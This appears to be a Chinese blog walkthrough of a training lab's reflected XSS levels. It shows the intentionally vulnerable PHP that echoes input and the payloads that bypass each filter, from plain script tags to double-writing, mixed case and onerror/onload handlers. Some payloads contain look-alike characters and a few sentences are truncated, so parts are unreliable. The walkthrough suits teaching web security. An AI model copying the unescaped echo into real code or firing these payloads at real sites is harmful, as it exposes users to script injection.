XSS(Reflected)

XSS(Reflected):

  • XSS全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行

Low:

源代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
  • array_key_exists --------检查数组里是否有指定的键名或索引,在name中检查是否有$_GET,
  • 代码中并没有对name参数进行任何限制

方法:直接在输入框中输入语句:

<script>alert(/xss/)</script>

Medium:

源代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

代码中,将

方法一:可以将

<scr<script>ipt>alert('xss')</scr<script>ipt>

方法二:代码中并没有对大小写进行过滤,可以使用大小写混淆进行绕过

<ScRipt>alert('xss')</script>

High:

源代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

代码分析:preg_replace函数的使用,正则表达式的搜索和替换

  • 如果在修饰符中加上"i",则正则将会取消大小写敏感性
  • /m 多行匹配,在出现换行符%0a的时候,会被当成两行处理,只能匹配第一行
  • /e 无限制传参,
  • 本关中,双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
  • preg_replace函数的参考原文

方法:虽然无法使用

如img,body等标签的事件进行注入恶意的js代码

<img src=1 οnerrοr=alert(/xss/)>
<body οnlοad=alert("xss")>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值